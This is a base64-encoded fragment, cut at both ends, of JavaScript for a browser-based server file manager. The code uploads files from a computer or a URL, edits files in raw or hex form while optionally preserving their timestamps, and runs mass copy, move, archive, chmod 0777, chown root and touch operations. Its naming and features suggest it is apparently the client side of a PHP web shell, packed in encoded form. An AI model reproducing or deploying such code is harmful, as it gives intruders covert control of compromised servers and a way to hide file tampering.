BwZXJjZW50ICsnJSApJyk7CgkJCQl9LCBmYWxzZSk7CgkJCX0KCQkJcmV0dXJuIG15WGhyOwoJCX0sCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzLm1hdGNoKC9XYXJuaW5nLipQT1NULipDb250ZW50LUxlbmd0aC4qb2YuKmJ5dGVzLipleGNlZWRzLip0aGUuKmxpbWl0LipvZi8pKXsKCQkJCXJlcyA9ICdlcnJvcic7CgkJCX0KCgkJCWlmKHJlcz09J2Vycm9yJyl7CgkJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJfQoJCQllbHNlewoJCQkJJCgnLnVsUmVzJyt1bFR5cGUraSkuaHRtbChyZXMpOwoJCQl9CgkJCWxvYWRpbmdfc3RvcCgpOwoJCX0sCgkJZXJyb3I6IGZ1bmN0aW9uKCl7CgkJCWxvYWRpbmdfc3RvcCgpOwoJCQkkKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTsKCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkkKCcudWxGaWxlbmFtZScrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bEZpbGVuYW1lJyt1bFR5cGUraSk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHVsX2dvKHVsVHlwZSl7Cgl1bEZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxGaWxlQ29tcCcpOiQoJy51bEZpbGVVcmwnKTsKCXVsUmVzdWx0ID0gKHVsVHlwZT09J2NvbXAnKT8gJCgnLnVsQ29tcFJlc3VsdCcpOiQoJy51bFVybFJlc3VsdCcpOwoJdWxSZXN1bHQuaHRtbCgnJyk7CgoJdWxGaWxlLmVhY2goZnVuY3Rpb24oaSl7CgkJaWYoKCh1bFR5cGU9PSdjb21wJykmJnRoaXMuZmlsZXNbMF0pfHwoKHVsVHlwZT09J3VybCcpJiYodGhpcy52YWx1ZSE9JycpKSl7CgkJCWZpbGUgPSAodWxUeXBlPT0nY29tcCcpPyB0aGlzLmZpbGVzWzBdOiB0aGlzLnZhbHVlOwoJCQlmaWxlbmFtZSA9ICh1bFR5cGU9PSdjb21wJyk/IGZpbGUubmFtZTogZmlsZS5zdWJzdHJpbmcoZmlsZS5sYXN0SW5kZXhPZignLycpKzEpOwoKCQkJdWxTYXZlVG8gPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxTYXZlVG9Db21wJylbaV0udmFsdWU6JCgnLnVsU2F2ZVRvVXJsJylbaV0udmFsdWU7CgkJCXVsRmlsZW5hbWUgPSAodWxUeXBlPT0nY29tcCcpPyAkKCcudWxGaWxlbmFtZUNvbXAnKVtpXS52YWx1ZTokKCcudWxGaWxlbmFtZVVybCcpW2ldLnZhbHVlOwoKCQkJdmFyIGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlJywgZmlsZSk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxTYXZlVG8nLCB1bFNhdmVUbyk7CgkJCWZvcm1EYXRhLmFwcGVuZCgndWxGaWxlbmFtZScsIHVsRmlsZW5hbWUpOwoJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsIHVsVHlwZSk7CgoJCQllbnRyeSA9ICI8cCBjbGFzcz0ndWxSZXMiK3VsVHlwZStpKyInPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnIGNsYXNzPSd1bEZpbGVuYW1lIit1bFR5cGUraSsiJz4iK2ZpbGVuYW1lKyI8L2E+Jm5ic3A7PHNwYW4gY2xhc3M9J3VsUHJvZ3Jlc3MiK3VsVHlwZStpKyInPjwvc3Bhbj48L3A+IjsKCQkJdWxSZXN1bHQuYXBwZW5kKGVudHJ5KTsKCgkJCWNoZWNrID0gdHJ1ZTsKCQkJaWYodWxUeXBlPT0nY29tcCcpewoJCQkJY2hlY2sgPSAoZmlsZS5zaXplPD0wKTsKCQkJfQoJCQllbHNlIGNoZWNrID0gKGZpbGU9PSIiKTsKCgkJCWlmKGNoZWNrKXsKCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCBmYWlsZWQgKScpOwoJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJJCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpOwoJCQl9CgkJCWVsc2V7CgkJCQl1bF9zdGFydChmb3JtRGF0YSwgdWxUeXBlLCBpKTsKCQkJfQoJCX0KCX0pOwp9CgpmdW5jdGlvbiB0cmFwX2N0cmxfZW50ZXIoZWwsIGUsIGNhbGxiYWNrKXsKCWlmKGUuY3RybEtleSAmJiAoZS5rZXlDb2RlID09IDEwIHx8IGUua2V5Q29kZSA9PSAxMykpewoJCWlmKGNhbGxiYWNrIT1udWxsKSB3aW5kb3dbY2FsbGJhY2tdKCk7Cgl9CglmaXhfdGFiY2hhcihlbCwgZSk7Cn0KCmZ1bmN0aW9uIGVkaXRfc2F2ZV9yYXcoKXsKCWVkaXRfc2F2ZSgnZWRpdCcpOwp9CgpmdW5jdGlvbiBlZGl0X3NhdmVfaGV4KCl7CgllZGl0X3NhdmUoJ2hleCcpOwp9CgpmdW5jdGlvbiBlZGl0X3NhdmUoZWRpdFR5cGUpewoJZWRpdEZpbGVuYW1lID0gJCgnI2VkaXRGaWxlbmFtZScpLnZhbCgpOwoJZWRpdElucHV0ID0gJCgnI2VkaXRJbnB1dCcpLnZhbCgpOwoJZWRpdFN1Y2Nlc3MgPSBmYWxzZTsKCXByZXNlcnZlVGltZXN0YW1wID0gJ2ZhbHNlJzsKCWlmKCQoJy5jQm94JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7ZWRpdFR5cGU6ZWRpdFR5cGUsZWRpdEZpbGVuYW1lOmVkaXRGaWxlbmFtZSxlZGl0SW5wdXQ6ZWRpdElucHV0LHByZXNlcnZlVGltZXN0YW1wOnByZXNlcnZlVGltZXN0YW1wfSwKCQlmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWVkaXRTdWNjZXNzID0gJ3N1Y2Nlc3MnOwoJCQl2aWV3KGVkaXRGaWxlbmFtZSwgZWRpdFR5cGUsIHByZXNlcnZlVGltZXN0YW1wKTsKCQl9CgkJZWxzZSBlZGl0U3VjY2VzcyA9ICdlcnJvcic7CgkJfQoJKTsKfQoKCgpmdW5jdGlvbiBtYXNzX2FjdCh0eXBlKXsKCWJ1ZmZlciA9IGdldF9hbGxfY2JveF9zZWxlY3RlZCgneHBsVGFibGUnLCAneHBsX2hyZWYnKTsKCglpZigodHlwZT09J2N1dCcpfHwodHlwZT09J2NvcHknKSl7CgkJbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlckxlbmd0aCcsIGJ1ZmZlci5sZW5ndGgpOwoJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJBY3Rpb24nLCB0eXBlKTsKCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCWxvY2FsU3RvcmFnZS5zZXRJdGVtKCdidWZmZXJfJytpLCB2KTsKCQl9KTsKCX0KCWVsc2UgaWYodHlwZT09J3Bhc3RlJyl7CgkJYnVmZmVyTGVuZ3RoID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckxlbmd0aCcpOwoJCWJ1ZmZlckFjdGlvbiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJBY3Rpb24nKTsKCQlpZihidWZmZXJMZW5ndGg+MCl7CgkJCW1hc3NCdWZmZXIgPSAnJzsKCQkJZm9yKHZhciBpPTA7aTxidWZmZXJMZW5ndGg7aSsrKXsKCQkJCWlmKChidWZmID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlcl8nK2kpKSl7CgkJCQkJbWFzc0J1ZmZlciArPSBidWZmICsgJ1xuJzsKCQkJCX0KCQkJfQoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY3V0JykgdGl0bGUgPSAnbW92ZSc7CgkJCWVsc2UgaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIHRpdGxlID0gJ2NvcHknOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz4iK3RpdGxlKyIgaGVyZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIitodG1sX3NhZmUoZ2V0X2N3ZCgpKSsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fcGFzdGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJ3Bhc3RlJyk7XCI+Iit0aXRsZSsiPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9CgoJfQoJZWxzZSBpZigodHlwZT09J2V4dHJhY3QgKHRhciknKXx8KHR5cGU9PSdleHRyYWN0ICh0YXIuZ3opJyl8fCh0eXBlPT0nZXh0cmFjdCAoemlwKScpKXsKCQlpZih0eXBlPT0nZXh0cmFjdCAodGFyKScpIGFyY1R5cGUgPSAndW50YXInOwoJCWVsc2UgaWYodHlwZT09J2V4dHJhY3QgKHRhci5neiknKSBhcmNUeXBlID0gJ3VudGFyZ3onOwoJCWVsc2UgaWYodHlwZT09J2V4dHJhY3QgKHppcCknKSBhcmNUeXBlID0gJ3VuemlwJzsKCgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkV4dHJhY3QgdG88L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIraHRtbF9zYWZlKGdldF9jd2QoKSkrIicgIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK2FyY1R5cGUrIicpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIithcmNUeXBlKyInKTtcIj5leHRyYWN0PC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKCh0eXBlPT0nY29tcHJlc3MgKHRhciknKXx8KHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpfHwodHlwZT09J2NvbXByZXNzICh6aXApJykpewoJCWRhdGUgPSBuZXcgRGF0ZSgpOwoJCXJhbmQgPSBkYXRlLmdldFRpbWUoKTsKCQlpZih0eXBlPT0nY29tcHJlc3MgKHRhciknKXsKCQkJYXJjVHlwZSA9ICd0YXInOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy50YXInOwoJCX0KCQllbHNlIGlmKHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpewoJCQlhcmNUeXBlID0gJ3Rhcmd6JzsKCQkJYXJjRmlsZW5hbWUgPSByYW5kKycudGFyLmd6JzsKCQl9CgkJZWxzZSBpZih0eXBlPT0nY29tcHJlc3MgKHppcCknKXsKCQkJYXJjVHlwZSA9ICd6aXAnOwoJCQlhcmNGaWxlbmFtZSA9IHJhbmQrJy56aXAnOwoJCX0KCgkJaWYoYnVmZmVyLmxlbmd0aD4wKXsKCQkJbWFzc0J1ZmZlciA9ICcnOwoJCQkkLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7CgkJCQltYXNzQnVmZmVyICs9IHYgKyAnXG4nOwoJCQl9KTsKCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJdGl0bGUgPSB0eXBlOwoKCQkJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkFyY2hpdmU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrYXJjRmlsZW5hbWUrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrYXJjVHlwZSsiJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCciK2FyY1R5cGUrIicpO1wiPmNvbXByZXNzPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CgkJCXNob3dfYm94KHVjZmlyc3QodGl0bGUpLCBjb250ZW50KTsKCQl9Cgl9CgllbHNlIGlmKHR5cGUhPScnKXsKCQlpZihidWZmZXIubGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCSQuZWFjaChidWZmZXIsZnVuY3Rpb24oaSx2KXsKCQkJCW1hc3NCdWZmZXIgKz0gdiArICdcbic7CgkJCX0pOwoJCQltYXNzQnVmZmVyID0gJC50cmltKG1hc3NCdWZmZXIpOwoJCQl0aXRsZSA9IHR5cGU7CgkJCWxpbmUgPSAnJzsKCQkJaWYodHlwZT09J2NobW9kJykgbGluZSA9ICI8dHI+PHRkIGNsYXNzPSdjb2xGaXQnPmNobW9kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdtYXNzVmFsdWUnIHR5cGU9J3RleHQnIHZhbHVlPScwNzc3JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIit0eXBlKyInKTtcIj48L3RkPjwvdHI+IjsKCQkJZWxzZSBpZih0eXBlPT0nY2hvd24nKSBsaW5lID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Y2hvd248L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9J3Jvb3QnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iOwoJCQllbHNlIGlmKHR5cGU9PSd0b3VjaCcpewoJCQkJdmFyIG5vdyA9IG5ldyBEYXRlKCk7CgkJCQlsaW5lID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+dG91Y2g8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrbm93LnRvR01UU3RyaW5nKCkrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrdHlwZSsiJyk7XCI+PC90ZD48L3RyPiI7CgkJCX0KCgkJCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+IitsaW5lKyI8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIit0eXBlKyInKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjsKCQkJc2hvd19ib3godWNmaXJzdCh0aXRsZSksIGNvbnRlbnQpOwoJCX0KCX0KCgkkKCcuY0JveFNlbGVjdGVkJykucmVtb3ZlQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpOwoJeHBsX3VwZGF0ZV9zdGF0dXMoKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdGFyKCl7CgltYXNzX2FjdF9nbygndGFyJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Rhcmd6KCl7CgltYXNzX2FjdF9nbygndGFyZ3onKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29femlwKCl7CgltYXNzX2FjdF9nbygnemlwJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX3VudGFyKCl7CgltYXNzX2FjdF9nbygndW50YXInKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdW50YXJneigpewoJbWFzc19hY3RfZ28oJ3VudGFyZ3onKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fdW56aXAoKXsKCW1hc3NfYWN0X2dvKCd1bnppcCcpOwp9CgpmdW5jdGlvbiBtYXNzX2FjdF9nb19wYXN0ZSgpewoJbWFzc19hY3RfZ28oJ3Bhc3RlJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvX2NobW9kKCl7CgltYXNzX2FjdF9nbygnY2htb2QnKTsKfQoKZnVuY3Rpb24gbWFzc19hY3RfZ29fY2hvd24oKXsKCW1hc3NfYWN0X2dvKCdjaG93bicpOwp9CgpmdW5jdGlvbiBtYXNzX2FjdF9nb190b3VjaCgpewoJbWFzc19hY3RfZ28oJ3RvdWNoJyk7Cn0KCmZ1bmN0aW9uIG1hc3NfYWN0X2dvKG1hc3NUeXBlKXsKCW1hc3NCdWZmZXIgPSAkLnRyaW0oJCgnLm1hc3NCdWZmZXInKS52YWwoKSk7CgltYXNzUGF0aCA9IGdldF9jd2QoKTsKCW1hc3NWYWx1ZSA9ICcnOwoJaWYobWFzc1R5cGU9PSdwYXN0ZScpewoJCWJ1ZmZlckxlbmd0aCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJMZW5ndGgnKTsKCQlidWZmZXJBY3Rpb24gPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyQWN0aW9uJyk7CgkJaWYoYnVmZmVyTGVuZ3RoPjApewoJCQltYXNzQnVmZmVyID0gJyc7CgkJCWZvcih2YXIgaT0wO2k8YnVmZmVyTGVuZ3RoO2krKyl7CgkJCQlpZigoYnVmZiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpewoJCQkJCW1hc3NCdWZmZXIgKz0gYnVmZiArICdcbic7CgkJCQl9CgkJCX0KCQkJbWFzc0J1ZmZlciA9ICQudHJpbShtYXNzQnVmZmVyKTsKCQkJaWYoYnVmZmVyQWN0aW9uPT0nY29weScpIG1hc3NUeXBlID0gJ2NvcHknOwoJCQllbHNlIGlmKGJ1ZmZlckFjdGlvbj09J2N1dCcpIG1hc3NUeXBlID0gJ2N1dCc7CgkJfQoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSdjaG1vZCcpfHwobWFzc1R5cGU9PSdjaG93bicpfHwobWFzc1R5cGU9PSd0b3VjaCcpKXsKCQltYXNzVmFsdWUgPSAkKCcubWFzc1ZhbHVlJykudmFsKCk7Cgl9CgllbHNlIGlmKChtYXNzVHlwZT09J3RhcicpfHwobWFzc1R5cGU9PSd0YXJneicpfHwobWFzc1R5cGU9PSd6aXAnKSl7CgkJbWFzc1ZhbHVlID0gJCgnLm1hc3NWYWx1ZScpLnZhbCgpOwoJfQoJZWxzZSBpZigobWFzc1R5cGU9PSd1bnRhcicpfHwobWFzc1R5cGU9PSd1bnRhcmd6Jyl8fChtYXNzVHlwZT09J3VuemlwJykpewoJCW1hc3NWYWx1ZSA9ICQoJy5tYXNzVmFsdWUnKS52YWwoKTsKCX0KCgoJaWYobWFzc0J1ZmZlciE9JycpewoJCXNlbmRfcG9zdCh7bWFzc1R5cGU6bWFzc1R5cGUsbWFzc0J1ZmZlcjptYXNzQnVmZmVyLG1hc3NQYXRoOm1hc3NQYXRoLG1hc3NWYWx1ZTptYXNzVmFsdWUgfSwgZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKHJlcysnIE9wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQkJfQoJCQllbHNlICQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgZmFpbGVkJyk7CgkJCW5hdmlnYXRlKGdldF9jd2QoKSk7CgkJfSk7Cgl9Cn0KCmZ1bmN0aW9uIHhwbF91cGRhdGVfc3RhdHVzKCl7Cgl0b3RhbFNlbGVjdGVkID0gJCgnI3hwbFRhYmxlJykuZmluZCgnLmNCb3hTZWxlY3RlZCcpLm5vdCgnLmNCb3hBbGwnKS5sZW5ndGg7CglpZih0b3RhbFNlbGVjdGVkPT0wKSAkKCcueHBsU2VsZWN0ZWQnKS5odG1sKCcnKTsKCWVsc2UgJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnLCAnK3RvdGFsU2VsZWN0ZWQrJyBpdGVtKHMpIHNlbGVjdGVkJyk7Cn0KCgpmdW5jdGlvbiB4cGxfYmluZCgpewoJJCgnLm5hdmlnYXRlJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmlnYXRlJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcubmF2YmFyJykub2ZmKCdjbGljaycpOwoJJCgnLm5hdmJhcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSAkKHRoaXMpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCW5hdmlnYXRlKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcubmV3Zm9sZGVyJykub2ZmKCdjbGljaycpOwoJJCgnLm5ld2ZvbGRlcicpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCW5ld2ZvbGRlcihwYXRoKTsKCX0pOwoKCSQoJy5uZXdmaWxlJykub2ZmKCdjbGljaycpOwoJJCgnLm5ld2ZpbGUnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQluZXdmaWxlKHBhdGgpOwoJfSk7CgoJJCgnLmRlbCcpLm9mZignY2xpY2snKTsKCSQoJy5kZWwnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlkZWwocGF0aCk7Cgl9KTsKCgkkKCcudmlldycpLm9mZignY2xpY2snKTsKCSQoJy52aWV3Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IHhwbF9ocmVmKCQodGhpcykpOwoJCXZpZXcocGF0aCwgJ2F1dG8nKTsKCQloaWRlX2JveCgpOwoJfSk7CgoJJCgnLmhleCcpLm9mZignY2xpY2snKTsKCSQoJy5oZXgnKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0geHBsX2hyZWYoJCh0aGlzKSk7CgkJdmlldyhwYXRoLCAnaGV4Jyk7Cgl9KTsKCgkkKCcjdmlld0Z1bGxzaXplJykub2ZmKCdjbGljaycpOwoJJCgnI3ZpZXdGdWxsc2l6ZScpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXNyYyA9ICQoJyN2aWV3SW1hZ2UnKS5hdHRyKCdzcmMnKTsKCQl3aW5kb3cub3BlbihzcmMpOwoJfSk7CgoJJCgnLmVkaXQnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuZWRpdCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQl2aWV3KHBhdGgsICdlZGl0Jyk7CgkJaGlkZV9ib3goKTsKCX0pOwoKCSQoJy5yZW4nKS5vZmYoJ2NsaWNrJyk7CgkkKCcucmVuJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJcmVuKHBhdGgpOwoJfSk7CgoJJCgnLmFjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJy5hY3Rpb24nKS5vbignY2xpY2snLCBmdW5jdGlvbihlKXsKCQlwYXRoID0gaHRtbF9zYWZlKHhwbF9ocmVmKCQodGhpcykpKTsKCQlhY3Rpb24ocGF0aCwgJ2ZpbGUnKTsKCX0pOwoKCSQoJy5hY3Rpb25mb2xkZXInKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYWN0aW9uZm9sZGVyJykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJYWN0aW9uKHBhdGgsICdkaXInKTsKCX0pOwoKCSQoJy5hY3Rpb25kb3QnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuYWN0aW9uZG90Jykub24oJ2NsaWNrJywgZnVuY3Rpb24oZSl7CgkJcGF0aCA9IGh0bWxfc2FmZSh4cGxfaHJlZigkKHRoaXMpKSk7CgkJYWN0aW9uKHBhdGgsICdkb3QnKTsKCX0pOwoKCSQoJy5kbCcpLm9mZignY2xpY2snKTsKCSQoJy5kbCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSBodG1sX3NhZmUoeHBsX2hyZWYoJCh0aGlzKSkpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkb3dubG9hZCcgdmFsdWU9JyIrcGF0aCsiJz4iKTsKCQkkKCcjZm9ybScpLnN1Ym1pdCgpOwoJCSQoJyNmb3JtJykuaHRtbCgnJyk7CgkJaGlkZV9ib3goKTsKCX0pOwoKCSQoJy51bCcpLm9mZignY2xpY2snKTsKCSQoJy51bCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoLCBmYWxzZSk7CgkJcGF0aCA9IGh0bWxfc2FmZShwYXRoKTsKCQl1bChwYXRoKTsKCQloaWRlX2JveCgpOwoJfSk7CgoJJCgnLmZpbmQnKS5vZmYoJ2NsaWNrJyk7CgkkKCcuZmluZCcpLm9uKCdjbGljaycsIGZ1bmN0aW9uKGUpewoJCXBhdGggPSB4cGxfaHJlZigkKHRoaXMpKTsKCQluYXZpZ2F0ZShwYXRoLCBmYWxzZSk7CgkJcGF0aCA9IGh0bWxfc2FmZShwYXRoKTsKCQlmaW5kKHBhdGgpOwoJCWhpZGVfYm94KCk7Cgl9KTsKCgkkKCcjbWFzc0FjdGlvbicpLm9mZignY2xpY2snKTsKCSQoJyNtYXNzQWN0aW9uJykub24oJ2NoYW5nZScsIGZ1bmN0aW9uKGUpewoJCXR5cGUgPSAkKCcjbWFzc0FjdGlvbicpLnZhbCgpOwoJCW1hc3NfYWN0KHR5cGUpOwoJCSQoJyNtYXNz